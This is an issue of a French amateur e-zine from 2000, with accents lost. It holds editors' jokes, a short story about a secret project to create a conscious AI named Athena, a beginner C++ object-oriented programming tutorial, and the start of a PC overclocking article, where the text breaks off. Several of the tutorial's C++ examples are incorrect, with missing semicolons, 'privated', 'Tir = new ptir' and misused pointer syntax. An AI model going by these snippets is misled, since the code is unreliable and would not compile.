De: wolf <wolf@madchat.org>
: maddany <maddany@madchat.org>
Objet: Sleazy Wind (enfin)
Date: lundi 20 novembre 2000 13:41

"L'aversion et la haine... c'est l peut-tre que rside la plus grande faute commise par notre civilisation. Nous avons oubli que Dieu est non
seulement Connaissance mais ausi Amour... et c'est de ce manque d'amour que viendra l'Apocalypse... Si notre plante Gaa souffre d'abord d'une
pollution chimique, d'un touffement par le bton et d'une dgradation gnrale de l'environnement, elle est aussi lentement asphyxie par la
noirceur de nos penses, qui finiront tt ou tard par provoquer la colre terrestre autant que cleste.", maddany aka. Paco Rabanne
<wolf> moi aussi j'en ai une bien bonne: "c'est l'type qui s'pr".



/SSSSS                                        WW          WW
\SS       LL    EEEE   AA   ZZZZ  Y YY         WW   /\   WW    II  NNN  N  DDDD
 \SS      LL    EE_   AAAA    Z    YY           WW /WW\ WW     II  NNNN N  DD DD
  SS\     LL    EE    A__A   Z     Y             WWWWWWWW      II  NN NNN  DD DD
   SS\    LLLL  EEEE  A  A  ZZZZ  Y               WW  WW       II  NN  NN  DDDD
SSSSS/                                             W  W

                                                        NEUMBEUR TRI
                                                 http://www.actionman.com/



*** "Eh, dis to ! -to"
<maddany> je tiens tout d'abord  dire que je n'ai rien  dire. Cremi. D'ailleurs, comme le disait un clbre lapin, "prout le chasseur",
autrement dit venons en au phacochre (poil au sommaire) :
<Zero-cooL> moi j'ai quelque chose  dire ! on en est au numro trois et l'article sur le poulet au pistou n'est toujoursq pas paru pourtant je
suis sur que tout nos lecteurs downloadent SW dans l'espoir qu'il y sera maddany fais qqchose !
<BluebirD> Et moi j'ecrirais pas dans ce mag beuh euh euh passque je suis une feignasse et j'ai
<BluebirD> rien appris de nouveau voila.
Phacochre de ce numro :
1/ Projet: Athena (nouvelle), par dany dany yip yip (petits cris de joie)
<wolf> t'avais pas plus long comme nom que "dany dany yip yip (petits cris de joie)"?
<ulysse> Ouep m'enfin, LUI au moins, il  un nom original, pas comme certains...
<> Ouep il a un nom au moins...
2/ Introduction  la POO, par Croqmort d'h=edm
<Note d'ulysse pour les incultes> La poo, c'est La Pisciculture Otorise pour les Ovnis </Note d'ulysse pour les incultes>
3/ Optimisation d'un pc, par l'homme qui n'en tait pas un (comprenez Zero-cooL)
4/ Scurit web et autres joyeuseries, par maddany (l'homme qui se prend pour une femme (m'enfin quoi de plus banal aujourd'hui))
5/ Les aventures des trucs: Une trange disparition... par wolf, le loup qui n'a rien a voir avec tout ca

Ce document s'auto-dtruira dans 360 C/min.

<maddany> Tiens j'y pense, ce numro est le dernier de la (courte) srie des sleazy wind. Paf. Il se peut qu'on en fasse un hypothtique nouveau
un jour mais c'est plus qu'improbable. Enfin bon, castagnette. 
<wolf> je n'ai rien a voir avec cette merde sans nom mais maddany m'a suppli a genoux d'y ajouter quelques un de mes commentaires qui
dclenchent l'hilarit des fous... heu... des foules. donc voila.
<ulysse> N'en croyez pas un mot, wolf et moi (entre autres), on a suppli Maddany (remarquez la majuscule) pour pouvoir crire quelques 
lignes super drle dans ce superbe zine...
<cybz> Ouai et c'etait vraiment pas la peine de m'envoyer ce truc ! je me vengerais

*** FIN DU DISAGE DE TO

<Zero-cool> putain dans ce numero on fait fort sur les jeux de mots mais n'ayez crainte jeunes lecteurs nous sommes sains d'esprit ... enfin la
plupart d'entre nous ...
<Bluebird> zzZZZzz ..  Quoi ?! on arretterait SW ?! MadDany tes collegues de la CIA sont au courant ? 
             Ou alors c'est tes collegues a toi ZeroCooll ? bon ben moi je me rendors! zzZZZzz 
<ulysse> Quoi, sains d'esprits? et pkoi pas de corps aussi?


/SSSSS                                        WW          WW
\SS       LL    EEEE   AA   ZZZZ  Y YY         WW   /\   WW    II  NNN  N  DDDD
 \SS      LL    EE_   AAAA    Z    YY           WW /WW\ WW     II  NNNN N  DD DD
  SS\     LL    EE    A__A   Z     Y             WWWWWWWW      II  NN NNN  DD DD
   SS\    LLLL  EEEE  A  A  ZZZZ  Y               WW  WW       II  NN  NN  DDDD
SSSSS/                                             W  W

                                                        NEUMBEUR TRI
                                                 http://www.actionman.com/
-------------------------------Interlude by Bluebird



DA BLUEBIRD'S ENIGME (interdite aux membres de SW !)

-----> Comment faire pour transformer un P3 en 786 ???
-----> Comment faire pour transformer un P2 en 80686 ???
-----> Comment faire pour transformer un 80586 en Pentiome ???
                                                        Mailez les reponses a bluebirdfr@ifrance.com

	
	esnoper al sap zerua'n suov neir a tres a srevne'l a eril a etet al sap zenerp suoV <zbyc>

-------------------------------End of the interlude

-------------------------------------------------------------------------------------
Projet: Athena



JOURNAL PERSONNEL DU PROFESSEUR EINZELKIND

Quand l'homme prfre oublier Promthe...





17 Avril 2022
Je me suis enfin dcid  coucher mes penses sur le papier. Je ne sais pas  quoi a m'avance,  conjurer la peur indicible que me provoque
cette personne dans le miroir, j'imagine. J'ignore probablement tout de vous qui parcourez mon journal, si vous tes tombs dessus par hasard je
vous conjure de le reposer, la vrit est trop dangereuse entre les mains d'un innocent. A mon ami Hphastos, sache que je regrette  l'avance
tout ce que je vais faire...

Je suis le professeur Wolfgang Einzelkind, voil maintenant 16 annes que je dirige une groupe de recherche secret sur l'intelligence
artificielle, si l'on peut dire. Le terme "intelligence artificielle" peut prter  confusion sur la nature de nos travaux, puisqu'il peut
signifier "fausse intelligence". Notre but ultime est en fait la reproduction d'une intelligence humanode, la production d'une nouvelle forme de
pense cyberntique indpendante et consciente. Nos travaux sont alls bien plus loin que tout ce qui existe dj dans le domaine et nous sommes
sur le point de parvenir au terme de notre projet, le projet Athena. 

Nous sommes peut-tre alls trop loin, nous n'imaginions mme pas arriver  ce stade terrible o la question n'est plus uniquement informatique.
Au dbut nous tions capables de produire des agents d'auto-prservation munis d'algorithmes d'apprentissage. Ils permettaient de singer de
manire amusante le comportement d'une forme de vie biologique, sans en acqurir pour autant les caractristiques psychologiques ou volutives,
ce n'taient que des jouets rudimentaires en rapport de l'avancement actuel de nos travaux. Le problme tait prcisment de dfinir le concept
de vie, que mme la science n'arrivait  apprhender pleinement. Aprs de nombreuses annes d'tudes sur les thories existantes nous sommes
parvenus  imaginer un systme informatique qui reproduirait une forme de vie semblable  ce que nous connaissons actuellement sur notre plante.
Avec ces ides en tte nous ne pouvions ne pas donner un nom  notre future crature, nous avons finalement opt pour Athena.

Le concept tait qu'Athena devait vivre dans un environnement qu'elle pourrait percevoir selon un certain niveau de conscience, pareil au ntre.
Ses grandes lignes seraient dfinies selon un certain nombre de donnes, dterminant sa propension  voluer et ses caractristiques, nous avons
choisi d'intgrer ce mode suite aux toutes dernires dcouvertes de Barnes concernant le gnome humain. Son volution psychologique se ferait
selon un schma complexe d'apprentissages et de ractions, qui s'interpntrent avec les caractristiques fondamentales d'Athena et sa perception
du monde qui l'entoure. Partant du principe que la vie biologique a merg selon une mcanique quantique sur plusieurs niveaux et que notre
esprit en est aussi la rsultante, nous devions en tenir compte dans notre programme. C'tait il y a deux ans, cette approche de la physique
quantique nous a permis de faire un bond immense, c'est  cette poque que l'Etat a commenc  contrler nos travaux, et que nos recherches sont
devenues confidentielles. A partir de l, le reste tait une question d'organisation et de perfectionnement. Nous devons effectuer les dernires
retouches  la psych d'Athena dans les jours qui viennent.




21 Avril 2022
Nous avons convenu que le modle psychologique d'Athena tait au point. Pour l'instant Athena n'est qu'un concept abstrait, nous testons chaque
algorithme qui la composera sparment, avant l'assemblage final. Nous sommes parvenu  un systme de reproduction des sentiments extrmement
complet, la liste est impressionnante : espoir, dsespoir, envie, peur, curiosit, amiti, tonnement, fiert, fascination, doute, orgueil,
haine, mfiance, honneur, piti, regret, colre, tendresse, compassion, honte, jalousie, suffisance, angoisse, rancune, amertume, tristesse,
remords, satisfaction... j'ai toujours trouv que cette liste semblait pourtant bien vide sans l'amour, mais cela ne devait pas rentrer en ligne
de compte selon nos nouveaux dirigeants. Nous tions tout d'abord rticents pour intgrer des sentiments "ngatifs" tels que la haine ou la
jalousie, mais je suis profondment persuad qu'un tre ne peut acqurir la sagesse que lorsqu'il sait bannir ces sentiments, et ce serait tre
un mauvais pre que de refuser la sagesse  sa crature avant sa naissance. Ces diffrents sentiments et leurs drivs sont contrls comme des
modules dont on peut observer les taux et les variations  tout moment, on peut aussi intervenir sur chacun d'eux. Il ne nous reste plus qu'
fignoler l'environnement dans lequel voluera Athena ainsi que ses caractristiques bio-cyberntiques. 




22 Avril 2022
De nombreuses alarmes ont retenti toute la journe, nous avons du rester terrs dans les pices anti-attentats. Des units de combat sont
maintenant postes en permanence dans nos locaux souterrains, ce qui ne fait que rajouter  la pression dj existante. Des puissances ennemies
auraient soi-disant eu vent de nos travaux, nous avons eu ordre de couper toute connexion avec un rseau extrieur pour parer  une tentative de
piratage.




10 Mai 2022
L'ambiance n'a fait que se dtriorer au sein de l'quipe ces derniers jours, je crois que nous commenons  nous rendre compte de ce que nous
essayons de faire... 

Pour plus de commodit, Athena voluera dans un monde semblable  notre Terre. Elle aura aussi les caractristiques physiques d'une femme. Pour
le dbut de l'exprience elle sera seule, nous observerons son volution dans ce monde et sa raction  diffrents stimuli. Il n'y aura rien de
graphique ou de palpable, Athena aura simplement l'impression de voir et sentir les choses, nous l'enfermons dans une sorte d'illusion
permanente, elle-mme ne vivra que par des rseaux neuronaux virtuels. Le monde qui l'entoure directement n'est pas sujet  une vrit absolue,
il sera gnr  chaque instant par son inconscient et pourra donc changer subitement sans qu'elle remarque rien, puisque c'est elle mme qui l'a
fait sans le savoir. Nous observerons de quelle manire volue son univers, de plus pour parer  toute dformation anormale ou des faits
contradictoires nous avons un contrle absolu sur son inconscient. Nous ne rentrerons pas en communication avec elle, l'exprience sera d'abord
de la laisser vivre et de l'observer, de la manipuler le cas chant. Nous projetons de crer une deuxime forme d'intelligence avec laquelle
elle pourra interagir si les rsultats sont concluants, le premier "homme" informatique. En attendant nous avons prvu des simulations
bio-cyberntiques primaires, des animaux qui peupleront son univers.

Il est important de bien concevoir l'univers dans lequel voluera Athena, ne s'agissant d'un univers physique il ne peut y avoir ni forme, ni
son, ni image dans le cyber-espace. Les sensations seront fondamentalement diffrentes, mais nous pouvons produire des informations qui seront
interprtes comme telles. La conscience d'Athena sera le rsultat des calculs du processeur biochimique central, rien d'autre qu'un lger flux
lectrique et pourtant de ce flux natra une conscience qui sera persuade d'voluer de manire autonome dans un monde physique.

Un vif dbat a eu lieu aujourd'hui quand  la planification de la vie d'Athena. Pour des raisons techniques il est prfrable de reproduire une
priode d'apprentissage primaire avant d'atteindre la maturit physique et psychologique. Elle vivra aussi  notre rythme pour que nous puissions
l'observer, mais tant enferme dans ce monde changeant, elle ne peut de toute faon avoir de conception de notre temps, qui est en l'occurence
un temps absolu pour elle (mais pas forcment pour nous). Aprs une certaine quantit de cycles bio-tlmatiques elle devra mourrir. C'est cette
mort qui a provoqu tant de controverses. Certains voulaient que sa conscience perdure aprs la mort de son physique virtuel et qu'elle apprenne
alors notre existence, mais nous avons prfr rejeter ce concept, qui a t jug trop proche de certaines doctrines religieuses. Sa mort sera
donc tout simplement une extinction de sa conscience et un effacement de ses caractristiques. 

Pour viter les complications, nous avons  nouveau prfr choisir les mmes caractristiques pour l'univers virtuel que pour le ntre : la
vitesse de la lumire, la masse de l'lectron etc... Nous venons de mettre au point un univers viable, et une forme de vie qui est prte  y
entrer. La naissance d'Athena aura lieu demain.




11 Mai 2022
C'est enfin le jour J. Nous allons finalement savoir si nos annes de recherche ont t couronnes de succs. C'est le matin, en me rendant au
centre je suis surpris de voir  quel point notre Univers est dtaill, chaque chose dispose d'une structure que nous pouvons tudier  l'infini
en tant en permanence surpris de sa complexit et de sa perfection. Nous sommes donc dans la salle principale de gestion exprimentale. Je
vrifie les derniers paramtres, tous les fragments de code fonctionnent parfaitement et attendent d'tre excuts. Je lance la procdure de
contrle de l'univers virtuel, toutes les courbes indiquent un fonctionnement optimal. C'est maintenant le moment de charger en mmoire les
processus de naissance d'Athena, aprs un instant d'hsitation, j'appuie sur la touche. 

C'est fait. Je l'ai fait. On ne peut plus revenir en arrire, j'aurais du arrter cette folie tant qu'il en tait encore temps... on n'entend
plus que le vrombissement diffus des ventilateurs qui brassent un air lourd et collant... tout le monde est suspendu aux courbes de sentiments et
de sensations d'Athena, dsesprement fixes. Soudain une courbe daigna s'agiter timidement.

Quelque part, une fillette riait  cause d'une herbe carressant ses pieds nus.











mad in dany, qui sait aussi tre un peu srieux (mais pas trop, clouk)
<Zero-cooL> wouhou on tient le prochain stephen king nous ;o)
<BluebirD> MAdDany EST stephen king ... 
<wolf> maddany et cet auteur de littrature de gare ne font qu'un? berk
<ulysse>Cet auteur de litterature de gard? il est ou le rapport l?
Au secours, je comprends rien! puisque c'est ca, je vais me pendre!!
<cybz> mouai c'est qu'une pale copie utopique du projet Ulysse tout a.
Sauf que la fin a t complte apres "tant qu'il en etait encore temps".

-------------------------------------------------------------------------------------


/SSSSS                                        WW          WW
\SS       LL    EEEE   AA   ZZZZ  Y YY         WW   /\   WW    II  NNN  N  DDDD
 \SS      LL    EE_   AAAA    Z    YY           WW /WW\ WW     II  NNNN N  DD DD
  SS\     LL    EE    A__A   Z     Y             WWWWWWWW      II  NN NNN  DD DD
   SS\    LLLL  EEEE  A  A  ZZZZ  Y               WW  WW       II  NN  NN  DDDD
SSSSS/                                             W  W

                                                        NEUMBEUR THOU
                                                  http://www.actionman.com/


--------------------------------------------------------------------------------------
la POO
par croqmort
H=EDM (www.hacknow.com.bi)

vous me connaissez peut etre deja, je fait des articles pour h=edm le mag le plus djant du monde :), si vous avez lu mes articles, vous avez
srement remarqu que dans l'informatique 3 choses m'interressent : la programmation, le cracking et tetrinet (/!\ tetrinet c'est pire que de la
drogue, une fois qu'on y a jou on peut plus s'arrter !) dans cet article je vais essayer de vous apprendre une des choses les plus importantes
en programmation de nos jours, la programmation orient objet ! 
<ulysse>Ouais, je confirme, tetrinet c bien une drogue! M'enfin bon, j'en profite au passage pour dire que cybz est nul, vous vous en foutez, c 
clair mais lui il va mourir de honte. 
<cybz> ouai mais bon comme tu le dis si bien on s'en fout ;)


je vais essayer de faire un article simple tout en etant le plus complet possible !

je me suis servi pour la premiere fois  fond de la poo dans mon programme appel "Next World",il tourne sous dos en 320x200,c'est un jeu de
vaisseau style "xenon 2" (a me refait penser a la belle poque de l'amiga !) c'est pour a que les exemples de cet article seront en rapport
avec des vaisseaux, des bonus etc ...

"Next World" est encore srement  l'heure ou vous lirez ceci encore en dvelopement, car ce jeu est en dvelopement permanent ! faut dire que
c'est tellement facile une fois que l'on a fini les principaux objet, d'en crer de nouveaux grce  l'hritage ! peut tre un jour je mettrai en
ligne le code ! en attendant vous pouvez toujours me demander une version excutable (en ce moment le jeu fait a peu prs 200 ko non compact)
<ulysse> note pour plus tard: quand on parle d'heritage, surtout faut penser  dfinir ce que c'est trs vite.
enfin moi ce que j'en dis... Nan cybz, c'est pas un oncle d'amrique que file des sous...



I. INTRODUCTION
__________________

- a l're primaire de la programmation, l'asm rgnait en matre absolu, les programmes etaient mal organiss et il tait difficile de les
ameliorer une fois fini
<ulysse> Faut tout faire ici: pour les neuneus, l'asm, c l'Assembleur. Quand vous compilez un prog, aprs c'est (en gros) 'tat dans lequel 
il se retrouve pour que l'ordi y capte des trucs. C'est un langage de prog dis de bas niveau. c'est  dire qu'il aut tout lui dire, 
il connait rien de base. Oui, je vois que vous avez compris puisque j'entends des :" Un peu comme cybz..." C pas faux mais pas trs gentil!

- puis vint l're de la programmation structure, avec le pascal, le basic et bien entendu le C, les programmes etaient mieux organiss, mais
les modifications etaient encore un parcours du combattant ! (<maddany>o a des cons battants ?)
- enfin, une nouvelle re arriva vers 1990, une re trs importante : l're de la POO !
<ulysse> et les l4g, a sent le path? 
Les l4g, c leslangages de 4me gnration. en gors, tu leur dis de dessiner une fentre et il la font.
pas  se prendre la tte quoi
</ulysse>


la POO c'est la programmation oriente objet, pour expliquer ce qu'est la programmation oriente objet, je vais d'abord vous montrer ce qu'est
la programmation structure :
dans la programmation structure, on utilise des fonctions regroupant les suites d'instructions les plus utilises, de plus on regroupe les
variables, exemple :
struct fenetre{
int x,y,w,h
}
dans la programmation oriente objet on va regrouper dans la structure fenetre, des fonctions en rapport avec la fenetre exemple :
struct fenetre{
int x,y,w,h
void deplace(int a,int b)
}
mais attention ce que je viens de marquer est faux car dans ce cas on utilise plus "struct" mais class !
class fenetre{
public:
fenetre();
int x,y,w,h;
void deplace(int a,int b);
}

les avantage de la poo, c'est l'organisation, la simplicit, la puissance de l'hritage, etc ....
<ulysse> La scurit aussi avec les concepts de priv et public mais je pense que a en cause aprs</u>
<cybz qu'en cause>blablabla... public...blablabla....concept...blablablaclasse...blapriv..</cybz>



II. COMMENT CREER UN OBJET ?
_______________________________

on va prendre comme exemple un vaisseau
d'abord il faut dclarer notre objet vaisseau :

<cybz> Bientot en kiosques dans Warning : Comment fausser votre declaration d'objet ! </cybz>

class vaisseau{

}

que va-t-on mettre  l'intrieur ?
d'abord il faut savoir ce que sont les mots cl : "public :" , "privated :" et "protected :"
lorsque l'on declare des variables ou des fonctions aprs "public :" elles sont utilisables partout aussi bien dans la class que en dehors
lorsque l'on declare des variables ou des fonctions aprs "privated :" ou "protected :" elles sont utilisables seulement dans la class
pour la difference entre "privated :" et "protected :", on verra a plus tard
<ulysse> Quand je vous disait qu'il allait en causer de a... </ulysse>

donc l pour l'instant les variables que l'on veut dclarer on va les mettre en "public :"

class vaisseau{
public :
int x,y,w,h;
}
<ulysse> Ho le porc le porc le porc!!!<ulysse>

maintenant les fonctions : on va avoir besoin d'une fonction pour faire bouger le vaisseau :

class vaisseau{
public :
int x,y,w,h;
void bouge();
}

maintenant, il faut se creer des fonctions qui seront appeles ds la cration d'un vaisseau :

class vaisseau{
public :
vaisseau();
int x,y,w,h;
void bouge();
}

et maintenant il faut un "destructeur" c'est a dire une fonction qui sera appele lors de la destruction du vaissseau :

class vaisseau{
public :
vaisseau();
~vaisseau();
int x,y,w,h;
void bouge();
}

maintenant tout a c'est bien bo mais qu'est ce que j'en fais ? l on a en fait juste dclar comment va se prsenter notre objet, maintenant il
faut crer l'intrieur, cd mettre les instructions dans "bouge();" par exemple !
pour cela on va d'abord enregistrer ce qu'on vient de faire dans un fichier "header" , un ".h" ou ".hpp" personnelement j'utilise toujours ".hpp"
on va enregistrer dans "vaisseau.hpp" :

#ifndef __vaisseau_hpp__
#define __vaisseau_hpp__

class vaisseau{
public :
vaisseau();
~vaisseau();
int x,y,w,h;
void bouge(int a,int b);
}

#endif

maintenant creons un fichier "vaisseau.cpp"
d'abord il faut "li" le .hpp au .cpp :

#include "vaisseau.hpp"

maintenant ajoutons la 1er fonction, c  dire le l'initializer :

vaisseau::vaisseau(){
x = 0;
y = 0;
w = 0;
h = 0;
}

ensuite le destructor :

vaisseau::~vaisseau(){
}

et notre fonction "bouge"

void vaisseau::bouge(int a, int b){
x=a;
y=b;
}

voil notre objet est fini !

maintenant pour s'en servir, il faut d'abord ajouter au dbut du fichier dans lequel on veut crer un vaisseau :
#include "vaisseau.hpp"

ensuite il faut ajouter "vaisseau.cpp" en tant que node au projet (dans borland vous cliquer avec le bouton droit sur le projet (dans la fenetre
projet) et vous slectionnez "add node")

pour crer un vaisseau :
2 solution : avec ou sans pointeur :
sans pointeur :
vaisseau vs // vs est declarer comme etant un vaisseau
avec pointeur :
vaisseau *vs // vs est delarer en tant que pointeur de type vaisseau
vs = new vaisseau
...
delete vs
<ulysse>c bien beau de causer de pointeurs mais les gens un peu simple d'esprits (oui comme cybz, tout  fait) y savent pas 
ce que c un pointeur si? enfin pour rpter ce qui doit tre aillerus mais que g pas vu, un pointeur, c une variable qui pointe (a alors!!)
sur une adresse mmoire (au lieu de contenir des donnes classiques).
</ulysse>


pour creer plusieur vaisseau dans le meme pointeur :
vs = new vaisseau[5]
pour s'en servir c'est simple il suffit de faire (index correspondant au vaisseau que vous voulez utilisez):
vs[index]->bouge(10,10);

mieux vaut utiliser les pointeurs !

<cybz> A vous de jouer ! Sur l'exemple du projet Athena original crez la classe Ulysse avec 
les fonctions suivantes :
	- Glander (man sleep)
	- Dormir (voir Glander, attention au piege ne declarez pas deux fois la meme fonction !)
	- Emmerder_le_monde (man talk)
	- Monologue (man echo)
	
Conseil evitez d'utiliser trop les "public" a peut devenir dangereux, et au passage...
je ne serais en aucun cas reponsable de toute degradation psychologique suite a la compilation 
de cet exercice.
</cybz>


III. L'HERITAGE
__________________

l'heritage c'est le fait d'aller d'une notion gnrale,  une chose de plus en plus prcise, exemple :


                                        Objet
                                          |
             -------------------------------------------------------------
            |                             |                               |
           Tir                          Bonus                         Vaisseau
            |                             |                               |
      --------------               ---------------                 ---------------
     |      |       |             |               |               |               |
  Laser   Boule   Missile        Bvie            BTir           Vami            Vennemi



maintenant on va voir a en C++ :

class objet {
public :
int x,y,w,h;
unsigned char far *dessin;
void dessine();
}

maintenant, un vaisseau, c'est un objet mais un objet qui bouge et qui tire !

class vaisseau : public objet {
public :
int puissancedetir;
void bouge(int depx, int depy);
bool fire(Tir *ptir)
}

mme chose pour un tir :

class Tir : public objet {
public :
void bouge(int depx, int depy);
void touch(vaisseau *vs)
}

maintenant nous voyons que nous avons 2 fois bouge mais si on fait :
objet *obj;
obj = new objet;
obj->bouge(10,10);
a marche pas ! solution ? :

class objet {
public :
int x,y,w,h;
unsigned char far *dessin;
virtual void bouge(int depx, int depy);
void dessine;
}

et maintenant :

objet *obj;
obj = new objet;
obj->bouge(10,10);

mais a marche pas car objet a des classes virtual on ne peut donc pas crer un objet, on doit crer quelque chose de plus prcis et pointer
dessus :

objet *obj;
Tir *ptir;
Tir = new ptir;
obj = Tir;
obj->bouge(10,10);




IV. ENCAPSULATION & POLYMORPHISME
___________________________________

l on va prendre des exemples dans la vie quotidienne pour expliquer ces termes, si vous comprenez rien c pas grave car ces 2 termes sont
inutiles, on fait de l'encapsulation et du polymorphisme sans s'en rendre compte !

encapsulation :
quand vous utilisez un chauffage, qu'il soit au fioul, au charbon,  l'electricit ou au plutonium (trs conomique :)), le rsultat sera le
mme, le chauffage va chauffer (tonnant non ?)
<cybz> C'est comme avec ulysse en fait, quoi qu'il dise on s'en fout

polymorphisme :
vous avez 2 pistolets ils sont pareil, mais l'un tire un petit drapeau o il est marqu "BANG" et l'autre il sort des balles

encapsulation : les objet sont diffrents mais ils font la mme chose
polymorphisme : les objet sont similaires mais ils font des choses diffrentes !




V. ORGANISATION
_________________

poo a rime avec organisation (enfin, a rime pas mais c pas grave !)
car grce  la poo, vous n'aurez pas des listing de 10 mo o on ne sait pas o a commence et o a finit et que lorsque il y'a par exemple un
crochet qui manque quel que part, vous avez plus qu' abandonner votre programme ! 

donc fates des objets et surtout mettez par exemple les trucs relatifs au graphisme et  la mmoire dans un fichier  part ! 
de plus si on spare bien tout si plus tard on veut adapter son programme  un autre systme d'exploitation, exemple linux, on aura la tche
simplifie, on devra juste modifier quelques trucs mineurs !
<ulysse>
ouais pis aussi ce qui est top c'est que pour faire des copier coller de code aprs, on reprend juste un fichier contenant l'objet qui nous 
plait et c plus mieux. Pour rsumer, le programmeur de base est feignant, le bon programmeur l'est encore plus et le programmeur en poo
est le pire des 3. La poo,  c l'art de la feignatise...
</ulysse>




VI. ME CONTACTER
___________________

si vous voulez me contacter, vous avez le choix :

E-MAIL :
croqmort@ifrance.com
compactez les fichiers joints et ne m'envoyez pas de fichier plus gros que 500 ko !

ICQ : 
35295109
je suis souvent l trs tard le soir ou trs tt le matin (en ce moment je vais souvent sur internet de 3h00  3h30 mais c'est parce que je
programme  fond en ce moment, en temps normal, je suis l  minuit !)

IRC :
irc.kewl.org
#h=edm
on as quelque probleme avec les ircops donc on va peut etre partir, mais pour l'instant, J'Y SUIS ! S'Y RESTE !

SITE :
www.hacknow.com.bi ou si le redirecteur meurt : www.multimania.com/magedm2
le site est remis  jour tout les ... tous les quand j'ai envie ! (en moyenne tous les 2 mois :))
<ulysse> effectivement, le redirecteur est mort. M'enfin c normal quand on sort 1 zine 1 an aprs que tous les articles 
ont ts boucls aussi... </ulysse>


et n'oubliez pas d'aller tlcharger H=EDM (j'avoue que les 3 premier mag font piti :))




--------------------------------------------------------------------------------------


/SSSSS                                        WW          WW
\SS       LL    EEEE   AA   ZZZZ  Y YY         WW   /\   WW    II  NNN  N  DDDD
 \SS      LL    EE_   AAAA    Z    YY           WW /WW\ WW     II  NNNN N  DD DD
  SS\     LL    EE    A__A   Z     Y             WWWWWWWW      II  NN NNN  DD DD
   SS\    LLLL  EEEE  A  A  ZZZZ  Y               WW  WW       II  NN  NN  DDDD
SSSSS/                                             W  W

                                                        NEUMBEUR THOU
                                              http://members.xoom.com/SleazyWind/


---------------------------------------------------------------------------------------


OPTIMISATION D'UN PC par Zero-cooL

Rappel du dernier pisode : dans SW 2 (quoi vous l'avez pas lu ? alors foncez) nous avions etudi les diffrentes commandes du bios. Dans cette
partie nous tudierons comment ces commandes ainsi que d'autres composants du pc peuvent tre  l'origine d'une optimisation entranant un gain
de performance et d'argent :o)




1) INTRODUCTION ET GENERALITES


-----------------------
1.1 : rappel :
-----------------------

Le BIOS (pour Basic Input Output System) est le composant primaire d'un PC. Il est responsable de toutes les tches d'initialisation d'un PC,
d'une manire gnrale, il contrle toutes les entres/sorties primaires telles que le clavier, les ports srie, parallle et les diffrentes
cartes (vido, son, etc.) par le biais d'interruptions en conjonction avec le CPU (Central Processing Unit). En fait, le BIOS est l'endroit o
sont stockes toutes les informations de base concernant la configuration du matriel d'un ordinateur et ce sont les premires informations lues
et exiges au dmarrage de l'ordinateur. Les informations du BIOS sont emmagasines dans une puce appel CMOS (Complementary Metal Oxide
Semiconductor) qui est garde sous alimentation constante par la batterie de sauvegarde (pile ou accumulateur) de l'ordinateur. De cette faon,
les informations contenues dans le CMOS restent toujours disponibles mme si l'ordinateur est hors tension .


-------------------------
1.2 : comment optimiser :
-------------------------

Pour optimiser votre PC nous tudierons 3 mthodes. Ces mthodes combines ensemble offriront  votre PC une seconde jeunesse. Ces mthodes sont
 - L'overcloking
 - L'optimisation (qui sera traite plus tard si l'envie me reprend)

<maddany> c'est bien parce qu'en plus, zero-cool il sait compter :)
<BluebirD> nan il essaye d'imiter les blagues sur Johnny pff pitoyable :)


2) OVERCLOKING : FAITES CHAUFFER LES CPU !


------------------
2.1 : Dfinition :
------------------

L'overclocking ou le "surcadenage" est le fait de faire fonctionner un processeur (ou tout autre composant lectronique)  une frquence plus
leve que celle donne par le constructeur. La vitesse de fonctionnement d'un processeur est gnre par un circuit lectronique externe mont
sur la carte mre et depuis l'arrive de processeurs  multiples frquence, les fabricants de cartes mre proposent depuis longtemps des cartes
capables de fournir toute une gamme de frquences diffrentes. Bien videment, vous devez bien garder en tte que l'overclocking n'est prconis
par aucun fabricants de processeurs. Cette pratique annule la garantie et peut crer des pertes de donnes, des plantages, des composants
dtruits etc... Vous prenez donc l'entire responsabilit de vos manipulations. L'overclocking est maintenant devenu trs courant et est devenu
un march un part entire. Il existe maintenant normemment de fabricants de pices "hautes performances", aussi bien les cartes mres, avec des
rglages de plus en plus prcis, que des ventilateurs surdimensionns, ou des logiciels de tests et de refroidissement. 

Les fabricants de puces ne peuvent pas vendre leurs microprocesseurs  leur frquence maximale d'utilisation, en effet, ceux-ci ont besoins
d'une marge de fonctionnement, un processeur, qui fonctionne  sa frquence initiale, doit rester stable dans les pires conditions
d'utilisations, suivant les utilisateurs, un processeur peut fonctionner dans un boitier mal ar ou encore prs d'un source de chaleur
importante. Ce dernier, fonctionnerait trs mal ou serait source de plantage s'il n'avait pas une "marge d'utilisation". Les constructeurs ne
cessent d'amliorer la qualit de fabrication de leur processeurs. Un processeur achet il y a 1 an sera beaucoups moins apte a l'overclocking
qu'un processeur qui vient de sortir. Les amliorations apportes sont la rduction de la taille de gravure des puces. Les tout premiers Pentium
taient gravs en 0.80 micron, les suivants en 0.60 micron, puis plus rcemment, les Pentium MMX et K6 en 0.35 micron. Les Pentium II et K6-2 en
0.25 micron. Les derniers arrivs, PIII et Athlon sont en 0.18 micron et la future gnration en 0.13 micron. La rduction de taille est le plus
important dans les performances d'un processeur, ceci donne un potentiel de vitesse plus lev, une rduction de la puissance consomme, donc un
chauffement moindre de la puce. Car le plus "bloquant" dans un Overclocking, c'est la chaleur... 

L'overcloking c'est donc l'art d'utiliser les marges de scurits des constructeurs afin de gagner de la vitessse !

<maddany> oui, vive la vitessssssse
<BluebirD> ouais moi grace a cet article j'ai transformer mon P2 en 80686 !!!!!
<wolf> et bien moi j'ai overclock mon 486 a 1GHz et j'ai absolument aucun plantttttttttttttttttttttttttttttttttttttttttttttttt
<ccyybbzz> ppaass ddee bbooll wwoollff mmooii aa ffoonnccttiioonnnnee iimmppeecc


--------------------------------
2.2 : Oui mais comment faire ? :
--------------------------------

Tout d'abord le choix du matriel est primordial. En effet pour obtenir l'overcloking le plus stable et le plus lev possible les composants
suivants doivent tre de qualit suprieure : carte mre, mmoire vive, botier, carte video (si sur bus AGP) et processeur bien sur :o). En
effet, il y a quelques rgles pour tre sr de reussir un bon overclocking. Il ne s'agit pas de pousser le plus haut possible mais d'avoir une
machine qui reste stable et performante. Car videment, mme si l'on peut pousser la frquence du CPU sur un P.C tout  fait standard, les
rsultats et la stabilit obtenus seront bien meilleurs en utilisant des composants de marques et de qualit. Bien entendu l'utilisateur banal ou
ne souhaitant pas changer de matriel pourra videmment charger le sien tout en sachant qu'il risque de perdre des performances ou que
l'overcloking sera moins stable. 


----------------------------------
2.3 : Matriel actuel recommand :
----------------------------------

                - Carte Mre : 
Le top, actuellement, est une carte qui propose le maximum de rglages de frquence de bus. Sur L'abit BE6-2 par exemple, vous avez la
